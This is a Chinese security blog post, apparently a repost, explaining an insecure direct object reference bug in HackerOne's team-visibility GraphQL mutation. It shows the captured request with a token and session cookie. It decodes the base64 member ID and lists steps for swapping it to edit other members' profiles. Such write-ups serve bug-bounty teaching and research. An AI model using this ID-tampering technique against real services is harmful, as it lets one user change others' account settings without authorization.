IDOR研究系列-02

admin 2023年2月25日22:13:49评论23 views字数 3259阅读10分51秒阅读模式

IDOR研究系列-02

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

前言

前面写过的很多IDOR相关的文章:

IDOR研究系列-01

BAC和IDOR漏洞技巧

idor相关研究

五种不一样的身份验证绕过技术

漏洞赏金猎人系列-权限升级相关测试方法以及Tips-I

漏洞赏金猎人系列-权限升级相关测试方法以及Tips-II

漏洞赏金猎人系列-权限升级相关测试方法以及Tips-III

正文

这天这篇主要讲解这种类型:ID是否明文编码;

案例

hackerone中有这样一个功能:

当你是某个安全团队的一部分时,你可以选择在你的个人资料中显示你是安全团队的成员,如果你不想在你的个人资料中显示,你也可以隐藏它:

https://hackerone.com/settings/teams > Visibility > Revealed/Concealed

这里有个注意点: 只有你可以在你的个人资料设置中这样做,任何人都没有权限这样做,包括你所在的安全团队的其他成员也没这个权限。

这里找到了一个方法可以绕过这个权限。

当你编辑你的团队的可见性(Visibility)这个功能时,下面的__graphql__ ' POST '请求被调用。

POST /graphql HTTP/1.1
Host: hackerone.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
x-auth-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE1MTExMDc2Njd9.h_X6amYP8V-Y0tts_zg2jDudNeqx75fVfS5FZSczq1s----137042
origin: https://hackerone.com
Referer: https://hackerone.com/settings/teams
Content-Length: 574
Cookie: __cfduid=d3f42c3c5af53e3946c559d253a1fb9451511104348; _cfuid=c8d12dfb-fe68-4b32-bd94-d3664f3b9e9b; __Host-session=K3JDWXRpV00xL1RCTUI3QWx4YXUrUTZlb0xRSHBEQm9abXYrNm5EclhZTVM5VW1XMVg4aTQ2UmhZc2VGeW1yUDFoYndWMm1GSEVGazhISTZNeHppOFR5K3VmZXZuRE0xSWdCMk56dko2RzFHOFRpeGdlZzlKT0Y5ZjdWb1FScHo5S1d2b1A2cTFDa1FXYmRpS29GWGF5aUZlNUJRa1JDT25JL0RFZ242RUQyb0pNTktnOHk5L2NmOVJQZ2E0d3hEbm4yclk3WHRWOFJvdjRveVlvbVgyQ1hFSEliNDVTTFNrbzNqL096KzdZSkVXSEZ6TUFyelR4NEJmNjF4OE5aYmx6RzVvR2dNRnBGbEtCQVpxMXo2MCtqVUVIK1lzdkJpTnp2TkhiMnNCN08xZEljT1hVN1M2Y1dsMGphNnA2dmp2bTdxcm1WbkNPTHluWmgyVjFQcXdYZlM1c2ZaSFJDdnNOTmNySldhSkNqV0haNjhoMC8yVHpwMWFFYmJCTkxuTHdtNG9XbkV4UDN3ZmdjV0sxVzh3dm9jZ3RCVE9saXNmWHJMT0t4dmVuN3RwdVRuZnV4Y0ljWEM2a2QxRGVCWC0tS0dCTHpUVk9wY3RyZUpPRmZibWw1UT09--6c4b58c006e021c83b8e076370dcdc1efe40a984; app_signed_in=true
DNT: 1
Connection: close

{"query":"mutation Update_team_member_visibility_mutation($input_0:UpdateTeamMemberVisibilityMutationInput!) {n  updateTeamMemberVisibility(input:$input_0) {n    clientMutationId,n    ...F1,n    ...F2n  }n}nfragment F0 on TeamMember {n  id,n  concealedn}nfragment F1 on UpdateTeamMemberVisibilityMutationPayload {n  team_member {n    id,n    ...F0n  }n}nfragment F2 on UpdateTeamMemberVisibilityMutationPayload {n  errorsn}","variables":{"input_0":{"team_member_id":"Z2lkOi8vaGFja2Vyb25lL1RlYW1NZW1iZXIvNDM3OTQ=","concealed":true,"clientMutationId":"1"}}}

你将观察到以下这些参数:

{
"team_member_id":"Z2lkOi8vaGFja2Vyb25lL1RlYW1NZW1iZXIvNDM3OTQ=",
"concealed":true,
"clientMutationId":"1"
}

__team_member_id__包含base64值: Z2lkOi8vaGFja2Vyb25lL1RlYW1NZW1iZXIvNDM3OTQ= ,

解码后显示:

gid://hackerone/TeamMember/43794

正如所看到的,它将显示团队成员的ID,在这个例子中是43794

现在将43794的值改为其他团队成员的ID,将导致对其他团队成员的不安全的直接对象引用(IDOR)攻击。

漏洞为:gid://hackerone/TeamMember/<victim_team_id_number>

如何查看其他所有其他团队成员的ID,可以简单地去这里: https://hackerone.com/parrot_sec/team_members.json,

所有团队成员的ID都在json响应的team_member_ids属性下的列表中。

复现步骤

  • 登录并进入https://hackerone.com/settings/teams > __Visibility__
  • 点击 "隐藏"/"显露 "(Concealed/Revealed)来控制其在你的个人资料中显示或还是隐藏它
  • 使用burp捕捉请求(请看上面的graphql POST请求)
  • 解码base64的值:"team_member_id": "Z2lkOi8vaGFja2Vyb25lL1RlYW1NZW1iZXIvNDM3OTQ=" > gid://hackerone/TeamMember/<team_member_id>
  • <team_member_id>的值改为受害者团队成员ID(其他团队成员)。
  • 转发请求,你的合作团队成员档案将被编辑。

详细步骤请后台回复:明文编码

往期回顾

2022年度文章精选

原文始发于微信公众号(迪哥讲事):IDOR研究系列-02

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月25日22:13:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   IDOR研究系列-02http://cn-sec.com/archives/1569329.html

发表评论

匿名网友 填写信息